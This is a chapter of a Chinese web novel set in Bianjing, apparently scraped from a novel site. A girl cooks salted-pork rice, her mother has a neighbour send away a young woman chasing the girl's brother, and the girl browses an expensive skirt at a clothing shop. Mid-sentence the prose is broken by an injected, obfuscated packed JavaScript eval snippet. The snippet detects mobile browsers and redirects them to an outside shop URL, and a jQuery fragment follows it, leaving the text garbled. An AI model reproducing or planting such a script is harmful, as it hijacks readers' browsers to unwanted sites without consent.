25. 第二十五章
作品:《汴京暴富日常》 徐竹筱钻进灶房,视线在那个挂在房梁上的竹篮子里扫了一圈。
虽然没有新鲜肉,但好在家里备货足。
前些日子苏棠心血来潮,买了不少猪肉回来,让徐竹筱给腌上了。这会儿拿出来正是时候。
还有前阵子徐青山从城外带回来的两条大青鱼,也腌得干干爽爽,挂在灶台上,散发着一股咸鲜味。
“今儿就做个腌肉菜饭吧。”
徐竹筱自言自语,手脚麻利地挽起袖子。
先将那挂在梁上的咸肉取了下来,放在砧板上。
“笃笃笃”一阵轻快的刀声响起,那咸肉便被切成了指甲盖大小的方丁。
紧接着是择菜、切菜。
等着火烧起来后,徐竹筱又往锅里挖了一勺雪白的猪油。
随着锅温升高,那一勺猪油慢慢化开,在锅底滋滋作响,散发出一股浓郁的荤香。
待油热了,她将切好的咸肉丁一股脑儿倒了进去。
“刺啦——”
一声爆响,厨房里瞬间腾起一阵白烟。
等火候差不多了,将淘洗好的大米倒进锅里,拿着铲子快速翻炒。
每一粒米都要裹上那咸鲜的猪油,直到米粒变得晶莹透亮,边缘微微发焦,这时候再将切好的青菜碎撒进去。
最后,沿着锅边淋入一圈清水,盖上沉甸甸的木锅盖。
不一会儿,锅里就传出了“咕嘟咕嘟”的声音。
随着水汽蒸腾,那股子混合着米香、肉香和菜香的味道,顺着门缝窗缝,飘满了整个小院。
等到徐青山推门进来的时候,正好赶上开饭。
一人一大海碗腌肉菜饭,冒着腾腾的热气。
就连平日里吃饭最斯文的徐竹卿,今晚也多添了半碗。
苏棠吃得鼻尖微微冒汗,手里筷子不停,嘴上却也不闲着。
“这肉腌得不错,不咸不淡,正好。”
徐竹筱咬着筷子尖,腮帮子鼓鼓囊囊的,像只囤食的小松鼠。
她咽下嘴里的饭,眼珠子一转,就把白天的事儿给抖搂出来了。
“娘,您是不知道,今儿咱们家门口来了个奇怪的人。”
徐竹筱绘声绘色地把孙兰怎么在门口徘徊,怎么拦着哥哥说话,又怎么被自己给气跑的事儿,一五一十地说了一遍。
当然,重点描述了孙兰那个“丑”——其实孙兰长得也不算太丑,但在徐竹筱这儿,敢打她哥主意还一副没安好心样子的,那就是丑。
“那姑娘穿着一身红,头上还戴了朵红花,啧啧,那打扮,跟咱们村头那棵老柳树成精了似的。”
徐竹筱一边说,一边往嘴里扒饭。
苏棠原本正夹着一块咸肉往嘴里送,听了这话,眉头一挑,筷子就停在了半空中。
“穿绿戴红?”苏棠眯了眯眼,脑海里迅速过了一遍这附近的人,“是不是左边眉毛底下还有颗黑痣?”
徐竹筱想了想,点头:“好像是有一颗,我也没细看,光顾着看她那张苦瓜脸了。”
苏棠冷笑一声,把咸肉塞进嘴里,嚼得嘎吱作响。
“我说今儿怎么看见咱们门口有个小娘子,原以为是找你的,合着是盯上你哥了,你可知道她是谁家的?”
“林婶婶的外甥女。”
苏棠看了一眼儿子,咽下最后一口饭,就把碗一推。
“你们收拾,我出去一趟。”
说完,也不等爷仨反应,风风火火地就出了门。
徐青山看着媳妇儿的背影,乐呵呵地问:“你娘这是去哪儿?这么急,火烧屁股了?”
徐竹筱一边收拾碗筷,一边笑:“娘这是去给哥‘扫平障碍’去了。”
苏棠这一去,去得快,回来得也快。
也就是徐竹筱刚把碗筷洗刷干净,灶台擦得锃亮的时候,苏棠就推门进来了。
她脸上带着几分得胜回朝的得意,手里还抓着一把瓜子,一边磕一边往屋里走。
徐竹筱见状,立刻凑了上去,眼巴巴地看着苏棠。
“娘,怎么样?林娘子怎么说?”
苏棠把瓜子皮往手里一攥,斜睨了闺女一眼,好笑地戳了戳她的脑门。
“你倒是爱八卦,这劲头比赚钱还大。”
徐竹筱抱着苏棠的胳膊撒娇:“娘,我这不是关心哥嘛。快说说,快说说。”
苏棠在椅子上坐下,喝了一口徐竹卿递过来的热茶,这才慢条斯理地开了口。
“林娘子是个明白人。我一去,把这事儿稍微那么一点,都不用我多说,林娘子的脸就黑了。”
苏棠想起刚才林家的那一幕,心里就觉得痛快。
林娘子那人,平日里最是个好面子的。一听自己那个不知道天高地厚的外甥女竟然跑去骚扰邻居家的读书郎,气得当场就把手里的茶杯给摔了。
“林娘子说了,她那外甥女心思不正,留在汴京也是个祸害。原本是看在姐妹情分上收留几日,没想到是个不安分的。明儿一早,就让人把她送回燕北乡下去。”
“这就送走了?”徐竹筱有些惊讶,“那孙兰能愿意?”
“愿不愿意由得她?”苏棠冷笑,“在人家屋檐下,还想翻天不成?林娘子说了,以后这人的事儿,跟林家没关系,也就是跟咱们没关系了。”
徐竹筱虽然觉得解气,但心里还是有些犯嘀咕。
“娘,那孙兰又不是没长腿。这送回去了,万一她自己又偷摸跑回来找我哥怎么办?那种人,脸皮厚着呢。”
苏棠听了这话,像是听到了什么笑话一般,乐不可支。
“你这傻丫头,真当这汴京城是自家后院,想来就来?”
她伸手指了指北边。
“你知道燕北在哪儿吗?离着汴京且远着呢!光是车马费就要好些钱,走路?哼,累死她也走不到,再说那一路上山高水长的,她一个大姑娘家,身上没钱没引路,若是真能自己走回来,那我倒还要高看她一眼了。”
听苏棠这么一说,徐竹筱心里的那块石头总算是落了地。
“那就好,那就好。”她拍了拍胸口,“只要别再来恶心我们就行。”
解决了这桩心事,这一夜徐竹筱睡得格外香甜。
翌日清晨。
汴京城的早晨总是醒得格外早。
窗外已经传来了货郎走街串巷的叫卖声,清脆的吆喝声透过窗纸钻进屋里。
徐竹筱伸了个懒腰,从被窝里爬起来。
她揉了揉惺忪的睡眼,习惯性地去拿放在床头的衣服。
那是一件浅紫色的夹衫,颜色倒是衬得她皮肤白皙,只是……
徐竹筱把衣服展开,在晨光下仔细瞧了瞧。
袖口处有一块儿明显的污迹,下摆更是脏了许多。
徐竹筱民抿嘴,决定出门去买新衣服。
她徐竹筱现在也是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16983732|193160||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
个能赚钱的人了!给自己买件衣裳,那是天经地义!
出了巷子,直奔那家熟悉的成衣铺。
铺子里人不少,大多是些大姑娘小媳妇儿,正凑在一起挑挑拣拣。
上次接待过她的那个小二眼尖,一眼就瞧见了徐竹筱。
“这位小娘子,有些日子没见您了,今儿个也是来挑衣裳的?”
这做生意的,最重要的就是记性好。
这小娘子虽然看着年纪不大,但上次来买东西那是爽快利落,是个实诚客。
“小二哥好记性。”徐竹筱笑着应了一声,“我想来看看,有没有什么新样式的裙子。”
“那您可是来着了!”
小二把鸡毛掸子往柜台上一搁,引着徐竹筱往里面走。
“咱们铺子这两日刚到了一批新货,都是时兴的料子,花色也新鲜。您瞧瞧这几件,都是汴京城里眼下最流行的。”
他指着挂在架子上的一排裙子,嘴里像爆豆子似的介绍个不停。
“这生意啊,好得很,这几件昨儿刚挂出来,今儿就没剩几件了。您若是看上了什么,可得尽早下手,晚了怕是就被别人挑走了。”
徐竹筱的目光在一排排衣裳上扫过。
忽然,她的视线定住了。
那是一条浅蓝色的襦裙。
这颜色极正,像是雨过天晴后的天空,透着一股子清亮劲儿。
徐竹筱忍不住伸手摸了摸。
里头是细密的棉布,外头罩了一层薄薄的轻纱,那裙摆上还绣着几朵零碎的小白花,针脚细密,不仔细看都瞧不出是绣上去的,倒像是落在了裙子上似的。
真好看。
徐竹筱在心里赞叹了一句,脑海里已经浮现出自己穿上这条裙子,再过个十来天,天气暖和些,去踏青时的模样了。
“小娘子好眼光!”
小二察言观色,立马凑了过来,竖起大拇指夸赞。
“这可是这批货里的尖儿货!这料子,那是苏州那边过来的细纱,这绣工,您摸摸,滑溜不手,您若是穿上,保管是这条街上最俊俏的姑娘。”
徐竹筱被他说得心动不已,捏着裙角爱不释手。
“这裙子多少钱?”她问。
小二笑眯眯地伸出一根手指头,又比划了两下。
“不贵,才一千二百文。”
“多少?!”
徐竹筱的手一抖,差点把裙子给拽下来。
一千二百文?
这也太贵了!
要知道,她手里这会儿也就三千文,这只够买两件衣裳,她还想给全家都买一身呢。
小二见她这副表情,也不恼,依旧笑呵呵地解释:“小娘子,俗话说得好,一分钱一分货。这料子和做工摆在这儿呢,您去别家打听打听,这样式的,少说得一千五。咱们这儿也就是赚个回头客的钱,才卖这么便宜。”
“算了。”
徐竹筱冲着小二摇了摇头,脸上带着几分歉意,但更多的是释然。
“小二哥,这裙子确实好,但我今儿钱没带够,还是下回再说吧。”
“哎哟,那没事儿!买卖不成仁义在嘛。您今儿没看上合适的也不打紧,咱们铺子常进新货,您得空了常来看看。说不定下回就有既便宜又合您心意的了。”
这话说得漂亮,让人听了心里舒坦。
徐竹筱冲他笑了笑:“行,那我下回再来。”

